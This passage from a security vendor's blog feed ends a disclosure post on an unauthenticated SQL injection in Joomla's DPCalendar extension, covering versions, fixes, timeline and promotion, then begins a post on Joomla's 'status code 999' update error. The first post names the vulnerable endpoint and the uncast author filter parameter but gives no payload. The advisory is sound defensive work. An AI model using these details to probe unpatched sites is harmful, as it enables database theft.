&lt;p&gt;One more thing worth saying plainly: this is not obscure code running on neglected sites. DPCalendar gets chosen precisely because it is mature and well-regarded, and it runs on some of the most reputable, carefully managed Joomla installations there are, up to and including the Joomla Project&apos;s own official infrastructure. One of the Project&apos;s own &lt;code&gt;joomla.org&lt;/code&gt; sites was itself running an affected version, shielded from this exact flaw only by the web application firewall in front of it, doing precisely the SQL-filtering job described above. That is a double lesson: it shows how trusted and well-regarded DPCalendar is, chosen for Joomla&apos;s own properties, and it shows that being trusted is not the same as being safe. If the Joomla Project itself can be caught running a vulnerable copy of an extension this well-regarded, anyone can. &quot;We only use trusted, well-maintained extensions&quot; is a good instinct, and on its own it is not a defence against a flaw in one of them. The most buttoned-up site in the world is still exposed if it is a version behind on the extension that has the hole.&lt;/p&gt;
&lt;p&gt;A WAF is mitigation, not a fix. The only reliable remedy is to update DPCalendar. Or leave it a version behind and hand your entire database to the first anonymous stranger who asks. Sure. Go ahead. (Or is that &lt;em&gt;Is Not Passive-Aggressive Enough&lt;/em&gt;?)&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. A SQL-aware firewall in front of a vulnerable extension can catch this class of attack before it reaches the code, buying you time to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Would a long, strong .htaccess have protected me against this?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. A big hardened &lt;code&gt;.htaccess&lt;/code&gt; is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to &lt;code&gt;index.php&lt;/code&gt; (&lt;code&gt;option=com_dpcalendar&amp;amp;view=events&amp;amp;format=raw&lt;/code&gt;), the exact request your &lt;code&gt;.htaccess&lt;/code&gt; exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one query-string value, and a stock &lt;code&gt;.htaccess&lt;/code&gt; never looks there.&lt;/p&gt;
&lt;p&gt;To block this at the &lt;code&gt;.htaccess&lt;/code&gt; layer you would need explicit rules that pattern-match SQL syntax in the query string and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on. Even then it only helps if that filtering is actually enabled: a WAF with its SQLi rules turned off, or left in log-only mode, waves this through as happily as no WAF at all. Protection you have to remember to configure is not the same as code that is not vulnerable in the first place.&lt;/p&gt;
&lt;p&gt;The short version applies here directly. Update DPCalendar.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;Digital Peak&apos;s advisory states the flaw has existed since &lt;strong&gt;DPCalendar 8.18.0&lt;/strong&gt;, so every release from 8.18.0 up to the current 10.11.0 is affected, and so is the &lt;strong&gt;Joomla 3 branch&lt;/strong&gt; (the 8.x line still shipped for Joomla 3 sites). The vulnerable code sits in the component&apos;s shared front-end model, which is identical across editions, so &lt;strong&gt;the Free, Pro and Business editions are all affected&lt;/strong&gt;. This is not a Free-only issue. The fix is in &lt;strong&gt;10.11.2&lt;/strong&gt; for Joomla 4.4.4 to 6.x, and &lt;strong&gt;8.19.4&lt;/strong&gt; for Joomla 3, both casting the author filter to an integer before it reaches the query so a crafted value can no longer change the SQL. If you are on the 9.x line, Digital Peak&apos;s upgrade path is 9.x to 10.0.0, then 10.6.0, then 10.11.2.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of DPCalendar earlier than 10.11.2 (or earlier than 8.19.4 on Joomla 3), on any edition, assume your site is affected and update now. Do not wait to confirm exploitation: by the time you can confirm it, the data is already gone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Credit where it is due: a fast fix over a holiday&lt;/h2&gt;
&lt;p&gt;We gave Digital Peak the full standard responsible-disclosure window to fix this in their own time. They did not need it. We reported the issue on 12 July; the fix was built, tested and released within 24 hours, over a holiday break while the developer was away, and outside Digital Peak&apos;s normal Thursday release schedule. Their advisory also notes this is the first security vulnerability reported in DPCalendar since the component first shipped in 2012.&lt;/p&gt;
&lt;p&gt;That is a genuinely good response, and worth saying out loud. Plenty of vendors sit on a report for weeks. Digital Peak did the opposite, and DPCalendar users are safer for it. They even credited mySites.guru publicly in &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;their own advisory&lt;/a&gt; and recommended the platform, a gracious touch we did not ask for. Our thanks to Allon Moritz and the Digital Peak team.&lt;/p&gt;
&lt;p&gt;Digital Peak is not the exception this month either. Most of the developers we have responsibly disclosed to during this run have responded the same way: grateful, quick to thank us, and shipping a fix within 24 hours. Only two out of the whole set have not. When a vendor gets this right, it deserves to be said in public as plainly as the flaw itself.&lt;/p&gt;
&lt;p&gt;The right thing for site owners to do in return is simple: apply the update they shipped.&lt;/p&gt;
&lt;h2&gt;SQL injection is a recurring theme right now&lt;/h2&gt;
&lt;p&gt;This DPCalendar flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular newsletter extensions for Joomla, and because it shares a codebase, the WordPress plugin too. Fixed in 10.11.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The month of Joomla disclosures&lt;/a&gt;&lt;/strong&gt;. DPCalendar is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt;&lt;/strong&gt;. The underlying pattern, and why front-end feeds like DPCalendar&apos;s keep producing this bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Two more disclosures from the same research run are still working through coordinated disclosure, redacted until their vendors ship a fix. We will publish each in full the moment it is patched, and add it to the &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;roundup&lt;/a&gt;. Naming an unpatched flaw is just publishing an exploit, so until then we describe only the risk, not the extension.&lt;/p&gt;
&lt;h2&gt;How do you update DPCalendar safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull DPCalendar 10.11.2 (or 8.19.4 if the site still runs Joomla 3). If it does not appear, use Find Updates, or download the latest package from your Digital Peak account and install it over the top. On the older 9.x line, Digital Peak&apos;s upgrade path is 9.x to 10.0.0, then 10.6.0, then 10.11.2. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade DPCalendar across every affected site from a single dashboard&lt;/a&gt;. You can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then DPCalendar, and check the version shown is 10.11.2 (or 8.19.4 on Joomla 3) or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every DPCalendar site I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for DPCalendar once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every DPCalendar install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for DPCalendar across every connected Joomla site and filter for anything on 10.11.0 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout: tick the sites on an old version, push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run DPCalendar, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why calendar and events extensions are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Calendar, form and newsletter extensions make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Event listings, subscribe forms, iCal feeds, location lookups, none of that can require a login.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping or casting, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, template frameworks like &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, newsletter tools like &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, and editors like &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE&lt;/a&gt;: a public task that reaches a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not &quot;avoid calendar extensions&quot;. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. An extension two versions behind is not a cosmetic problem.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this DPCalendar flaw is disclosed, you see exactly which sites are exposed in seconds, without opening a single admin panel to check.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running DPCalendar to &lt;strong&gt;10.11.2&lt;/strong&gt; or later (or &lt;strong&gt;8.19.4&lt;/strong&gt; on Joomla 3), one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction. It is a read-only injection, so it stops short of the maximum score: an attacker reads the database but cannot write to it or run code through this flaw. Reading the database is bad enough, because what leaks is every user record, every password hash, and other Joomla API secrets.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Our own assessment, pending the official vector&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated, exploitable over the internet with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This vulnerability is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt;, assigned through the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, the body that assigns identifiers for Joomla and its extensions, crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt; (assigned via the Joomla CNA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;DPCalendar for Joomla (&lt;code&gt;com_dpcalendar&lt;/code&gt;), all editions (Free, Pro, Business)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Digital Peak (&lt;a href=&quot;https://www.digital-peak.com/&quot;&gt;digital-peak.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection (CWE-89)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.7 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt; (Improper Neutralization of Special Elements used in an SQL Command)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;8.18.0 up to and including 10.11.0 on the current line, plus the Joomla 3 (8.x) branch, all editions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The disclosure ran on a short cycle from audit to fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12 July 2026&lt;/td&gt;
&lt;td&gt;During routine security research on the extensions our customers rely on, mySites.guru identifies the unauthenticated SQL injection in DPCalendar, confirms it against the code, and proves it on a local test install that reads database contents back through a single anonymous request. The issue is disclosed privately to Digital Peak, with all public detail withheld.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13 July 2026&lt;/td&gt;
&lt;td&gt;Within 24 hours of the report, over a holiday break and outside their normal release schedule, Digital Peak ships DPCalendar 10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3), casting the author filter to an integer and closing the injection, and publishes a &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;public security advisory&lt;/a&gt; crediting mySites.guru. mySites.guru verifies the patched build closes the flaw, adds DPCalendar to its Joomla extension vulnerability database so every connected site below the fix is flagged, and requests a CVE through the Joomla CNA. No proof of concept is released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15 July 2026&lt;/td&gt;
&lt;td&gt;The Joomla CNA assigns &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt; to the vulnerability, crediting Phil Taylor of mySites.guru as the finder.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This DPCalendar flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;Our AcyMailing SQL injection disclosure&lt;/a&gt; - the same class of bug, in a different extension, found in the same period.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review and rotate if a vulnerable extension was ever live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; and &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt; - the canonical references for this weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;Digital Peak&apos;s own security advisory&lt;/a&gt; - the vendor&apos;s write-up of the fix, crediting mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.digital-peak.com/en/dpcalendar&quot;&gt;DPCalendar official site and downloads&lt;/a&gt; - the vendor&apos;s product page, where 10.11.2 (and 8.19.4 for Joomla 3) is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>dpcalendar</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/dpcalendar-unauthenticated-sql-injection.EUWLrPjF.png" length="0" type="image/png"/></item><item><title>Joomla Update Error 999: a Dead Extension Redirecting to LinkedIn</title><link>https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/</link><guid isPermaLink="true">https://mysites.guru/blog/invalid-status-code-999-joomla-update-error/</guid><description>The Joomla &apos;Invalid status code 999&apos; update error is not a bug. It is an abandoned extension whose update site redirects to LinkedIn. Here is the fix.</description><pubDate>Sun, 12 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You open a Joomla site to run updates, or you glance at your update dashboard, and you get this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invalid status code &quot;999&quot;; must be an integer between 100 and 599, inclusive.
Your site responded with Invalid status code &quot;999&quot;.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing you did is wrong. This is not a Joomla bug, and if you saw it in mySites.guru, it is not a mySites.guru bug either. One of your installed extensions is pointing its update check at a web address that no longer serves an update file. Here is exactly what the 999 means and the two-minute fix.&lt;/p&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, the 999 error has a habit of showing up on almost all of them at once, because the culprit is usually a single extension you installed everywhere. mySites.guru reads every update-site URL your sites report in its &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;, so you can find the dead one and clear it across your whole &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;portfolio of Joomla sites&lt;/a&gt; instead of hunting site by site.&lt;/p&gt;
&lt;h2&gt;What does &quot;Invalid status code 999&quot; mean in Joomla?&lt;/h2&gt;
&lt;p&gt;999 is not a real HTTP status code. Every valid HTTP response carries a three-digit status between 100 and 599, and 999 sits outside that range, so no well-behaved server should ever return it. LinkedIn is the exception: it replies with 999 to block automated traffic it does not recognise. If your Joomla update check lands on a 999, the request ended up at LinkedIn instead of at an update file.&lt;/p&gt;
&lt;p&gt;So how does a Joomla update check end up at LinkedIn? Through an extension whose developer walked away.&lt;/p&gt;
&lt;h2&gt;Why an abandoned extension breaks your Joomla update check&lt;/h2&gt;
&lt;p&gt;Every Joomla extension that supports updates registers an &quot;update site&quot;: a URL Joomla calls to ask &quot;is there a newer version?&quot;. The developer owns that URL. When a developer abandons an extension and lets the domain or the update path lapse, that URL can start doing something it was never meant to do.&lt;/p&gt;
&lt;p&gt;The one that bites Dutch Joomla sites most often is an abandoned Dutch translation pack, RSJoomla! Dutch Translations by Wilco Alsemgeest. Its update site at &lt;code&gt;con-con.nl&lt;/code&gt; now issues a 301 redirect straight to the author&apos;s LinkedIn profile. Joomla follows the redirect, LinkedIn decides the request is not a real browser, and LinkedIn answers 999.&lt;/p&gt;
&lt;p&gt;Under the bonnet, Joomla fetches update XML through its own HTTP library (&lt;code&gt;joomla/http&lt;/code&gt;), which is built on laminas-diactoros. Diactoros validates the status line of every response and throws the instant it sees a code outside the valid range:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invalid status code &quot;999&quot;; must be an integer between 100 and 599, inclusive
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That check fires before Joomla ever gets to compare the response against 200, which is why the update simply stops with the raw exception rather than a tidy &quot;no update available&quot;. The rule Diactoros is enforcing is not arbitrary. &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9110&quot;&gt;RFC 9110&lt;/a&gt;, the HTTP standard, defines a status code as a three-digit integer and reserves the entire valid space to 100 through 599. 999 is not in it.&lt;/p&gt;
&lt;p&gt;This is version-agnostic. It has nothing to do with which Joomla you run: sites on Joomla 4, 5, and 6 all hit it the same way because they share the same HTTP library. It also breaks Joomla&apos;s own Pre-Update Check, so a single dead update site can block you from upgrading the CMS at all.&lt;/p&gt;
&lt;h2&gt;How do I find the update site causing the 999 error?&lt;/h2&gt;
&lt;p&gt;Go to Extensions, then Manage, then Update Sites in your Joomla administrator. That screen lists every update URL your installed extensions have registered, and you are looking for one that redirects off-site.&lt;/p&gt;
&lt;p&gt;Confirm it from the command line with curl:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -sI -L &quot;https://con-con.nl/ReleaseSystem/rsjoomla.xml&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A healthy update site returns 200 and some XML. A dead one looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/2 301
location: https://www.linkedin.com/in/wilcoalsemgeest/
HTTP/2 999
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The 301 to a LinkedIn profile followed by a 999 is the smoking gun. LinkedIn&apos;s response even carries an &lt;code&gt;x-li-fabric&lt;/code&gt; header, so there is no doubt about where the request ended up.&lt;/p&gt;
&lt;p&gt;If you would rather not touch the command line, mySites.guru shows the exact update-site URL for every stream on each site, so you can eyeball the list and spot the odd domain. It is worth &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;checking where every extension&apos;s update site actually points&lt;/a&gt; regardless, because almost nobody does, and an update URL is a route straight into your site&apos;s update process.&lt;/p&gt;
&lt;h2&gt;How do I fix the 999 update error in Joomla?&lt;/h2&gt;
&lt;p&gt;Delete the offending update site, do not just disable it. In Extensions, Manage, Update Sites, select the dead entry and use Delete. If the extension itself is genuinely abandoned and you no longer need it, uninstall the extension too, which removes the update site for good.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Disabling the update site is not enough. Joomla re-enables disabled update sites the next time it checks for updates, so the error comes straight back. Delete it, and uninstall the abandoned extension if you can.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you use mySites.guru, do one more thing. Open Manage Site, then Config, scroll to the bottom, and turn off &quot;re-enable disabled update sites&quot;. Otherwise mySites.guru switches the dead site back on at the next check and the error returns.&lt;/p&gt;
&lt;h2&gt;Why disabling the update site isn&apos;t enough&lt;/h2&gt;
&lt;p&gt;Joomla treats update sites as disposable and rebuilds them from each extension&apos;s manifest. Disable one and the next &quot;Find Updates&quot; run can switch it straight back on. This is &lt;a href=&quot;https://docs.joomla.org/Help4.x:Extensions:_Update_Sites&quot;&gt;documented behaviour&lt;/a&gt;: the Rebuild button repopulates the update-sites table from your installed extensions&apos; manifest files, and Joomla has re-enabled disabled update sites on update checks for years (&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/13436&quot;&gt;issue #13436&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;A disable is temporary. A delete holds until the next rebuild. Uninstalling the dead extension is the only change that holds permanently, because there is no manifest left to rebuild from.&lt;/p&gt;
&lt;h2&gt;Can mySites.guru just ignore the 999 code?&lt;/h2&gt;
&lt;p&gt;No, and it would not help if it did. This question comes up every time: &quot;can you patch your validator to accept 999 so the error goes away?&quot; We will not, for two reasons.&lt;/p&gt;
&lt;p&gt;First, 999 is genuinely not a valid HTTP status. Teaching our tooling to trust malformed responses is exactly the kind of shortcut that hides real problems later.&lt;/p&gt;
